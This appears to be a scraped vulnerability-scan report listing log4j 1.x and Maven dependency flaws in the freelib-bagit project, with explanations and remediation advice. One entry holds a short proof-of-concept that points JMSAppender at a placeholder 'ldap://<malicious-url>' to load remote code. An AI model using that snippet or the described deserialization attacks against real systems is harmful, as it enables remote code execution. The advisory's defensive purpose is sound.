Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. Included in Log4j 1.2 is a SocketServer class that is vulnerable to deserialization of untrusted data which can be exploited to remotely execute arbitrary code when combined with a deserialization gadget when listening to untrusted network traffic for log data.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502), is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, letting the attacker to control the state or the flow of the execution.
Java deserialization issues have been known for years. However, interest in the issue intensified greatly in 2015, when classes that could be abused to achieve remote code execution were found in a popular library (Apache Commons Collection). These classes were used in zero-days affecting IBM WebSphere, Oracle WebLogic and many other products.
An attacker just needs to identify a piece of software that has both a vulnerable class on its path, and performs deserialization on untrusted data. Then all they need to do is send the payload into the deserializer, getting the command executed.
Developers put too much trust in Java Object Serialization. Some even de-serialize objects pre-authentication. When deserializing an Object in Java you typically cast it to an expected type, and therefore Java's strict type system will ensure you only get valid object trees. Unfortunately, by the time the type checking happens, platform code has already created and executed significant logic. So, before the final type is checked a lot of code is executed from the readObject() methods of various objects, all of which is out of the developer's control. By combining the readObject() methods of various classes which are available on the classpath of the vulnerable application, an attacker can execute functions (including calling Runtime.exec() to execute local OS commands).
Remediation
There is no fixed version for log4j:log4j.
References
critical severity
- Vulnerable module: org.apache.maven.shared:maven-shared-utils
- Introduced through: info.freelibrary:freelib-utils@0.8.8
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › info.freelibrary:freelib-utils@0.8.8 › org.apache.maven:maven-core@3.5.2 › org.apache.maven.shared:maven-shared-utils@3.1.0Remediation: Upgrade to info.freelibrary:freelib-utils@1.0.1.
Overview
org.apache.maven.shared:maven-shared-utils is a functional replacement for plexus-utils in Maven.
Affected versions of this package are vulnerable to Command Injection. The Commandline class can emit double-quoted strings without proper escaping, allowing shell injection attacks. The BourneShell class should unconditionally single-quote emitted strings (including the name of the command itself being quoted), with {{'"'"'}} used for embedded single quotes, for maximum safety across shells implementing a superset of POSIX quoting rules.
This is a similar issue to SNYK-JAVA-ORGCODEHAUSPLEXUS-31522
Remediation
Upgrade org.apache.maven.shared:maven-shared-utils to version 3.3.3 or higher.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. CVE-2020-9493 identified a deserialization issue that was present in Apache Chainsaw. Prior to Chainsaw V2.0 Chainsaw was a component of Apache Log4j 1.2.x where the same issue exists.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write access to the Log4j configuration or if the configuration references an LDAP service the attacker has access to. The attacker can provide a TopicConnectionFactoryBindingName configuration causing JMSSink to perform JNDI requests that result in remote code execution in a similar fashion to CVE-2021-4104.
Note: this issue only affects Log4j 1.x when specifically configured to use JMSSink, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating object from sequence of bytes is called deserialization. Serialization is commonly used for communication (sharing objects between multiple hosts) and persistence (store the object state in a file or a database). It is an integral part of popular protocols like Remote Method Invocation (RMI), Java Management Extension (JMX), Java Messaging System (JMS), Action Message Format (AMF), Java Server Faces (JSF) ViewState, etc.
Deserialization of untrusted data (CWE-502) is when the application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, thus allowing the attacker to control the state or the flow of the execution.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to SQL Injection. By design, the JDBCAppender in Log4j 1.2.x accepts an SQL statement as a configuration parameter where the values to be inserted are converters from PatternLayout. The message converter, %m, is likely to always be included. This allows attackers to manipulate the SQL by entering crafted strings into input fields or headers of an application that are logged allowing unintended SQL queries to be executed.
Note: this issue only affects Log4j 1.x when specifically configured to use the JDBCAppender, which is not the default.
Apache Log4j 1.2 reached end of life in August 2015. Users should upgrade to Log4j 2 as it addresses numerous other issues from the previous versions. Beginning in version 2.0-beta8, the JDBCAppender was re-introduced with proper support for parameterized SQL queries and further customization over the columns written to in logs.
Remediation
There is no fixed version for log4j:log4j.
References
high severity
- Vulnerable module: org.apache.maven:maven-core
- Introduced through: info.freelibrary:freelib-utils@0.8.8
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › info.freelibrary:freelib-utils@0.8.8 › org.apache.maven:maven-core@3.5.2Remediation: Upgrade to info.freelibrary:freelib-utils@1.0.1.
Overview
Affected versions of this package are vulnerable to Resources Downloaded over Insecure Protocol. Apache Maven will follow repositories that are defined in a dependency’s Project Object Model (pom) which may be surprising to some users, resulting in potential risk if a malicious actor takes over that repository or is able to insert themselves into a position to pretend to be that repository. Maven is changing the default behavior to no longer follow http (non-SSL) repository references by default. More details available in the referenced urls.
If you are currently using a repository manager to govern the repositories used by your builds, you are unaffected by the risks present in the legacy behavior, and are unaffected by this vulnerability and change to default behavior. For more information about repository management, visit this page.
Remediation
Upgrade org.apache.maven:maven-core to version 3.8.1 or higher.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Arbitrary Code Execution.
Note: Even though this vulnerability appears to be related to the log4j 2.x vulnerability, the 1.x branch of the module requires an attacker to have access to modify configurations to be exploitable, which is rarely possible.
In order to leverage this vulnerability the following conditions must be met:
- The application has enabled
JMSAppender(or a class that extendsJMSAppender) - The attacker has access to directly modify the
TopicBindingNameorTopicConnectionFactoryBindingNameconfiguration variables - which is an unlikely scenario
If these conditions are met, log4j 1.x allows a lookup feature that does not protect against attacker-controlled LDAP and other JNDI related endpoints. Therefore, an attacker with access to the aforementioned configuration variables is able to execute arbitrary code when loaded from an LDAP server.
PoC
import org.apache.log4j.net.JMSAppender;
// ...
JMSAppender a = new JMSAppender();
a.setTopicConnectionFactoryBindingName("ldap://<malicious-url>");
// OR a.setTopicBindingName("ldap://<malicious-url>");
a.activateOptions();
Remediation
There is no fixed version for log4j:log4j.
References
medium severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Denial of Service (DoS). When using the Chainsaw or SocketAppender components with Log4j 1.x on JRE less than 1.7, an attacker that manages to cause a logging entry involving a specially-crafted, deeply nested hashmap or hashtable (depending on which logging component is in use) to be processed could exhaust the available memory in the virtual machine and achieve denial of service when the object is deserialized.
This issue affects Apache Log4j before 2. Affected users are recommended to update to Log4j 2.x org.apache.logging.log4j/log4j-core.
NOTE: This vulnerability only affects products that are no longer supported by the maintainer.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.
Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.
One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.
When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.
Two common types of DoS vulnerabilities:
High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.
Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm
wspackage
Remediation
There is no fixed version for log4j:log4j.
References
low severity
- Vulnerable module: log4j:log4j
- Introduced through: eu.medsea.mimeutil:mime-util@2.1.3
Detailed paths
-
Introduced through: ksclarke/freelib-bagit@ksclarke/freelib-bagit#4695a3b3e4282c257fff908797b485af1ab4c8dd › eu.medsea.mimeutil:mime-util@2.1.3 › log4j:log4j@1.2.14
Overview
log4j:log4j is a 1.x branch of the Apache Log4j project.
Affected versions of this package are vulnerable to Man-in-the-Middle (MitM). Improper validation of certificate with host mismatch in Apache Log4j SMTP appender. This could allow an SMTPS connection to be intercepted by a man-in-the-middle attack which could leak any log messages sent through that appender.
Remediation
There is no fixed version for log4j:log4j.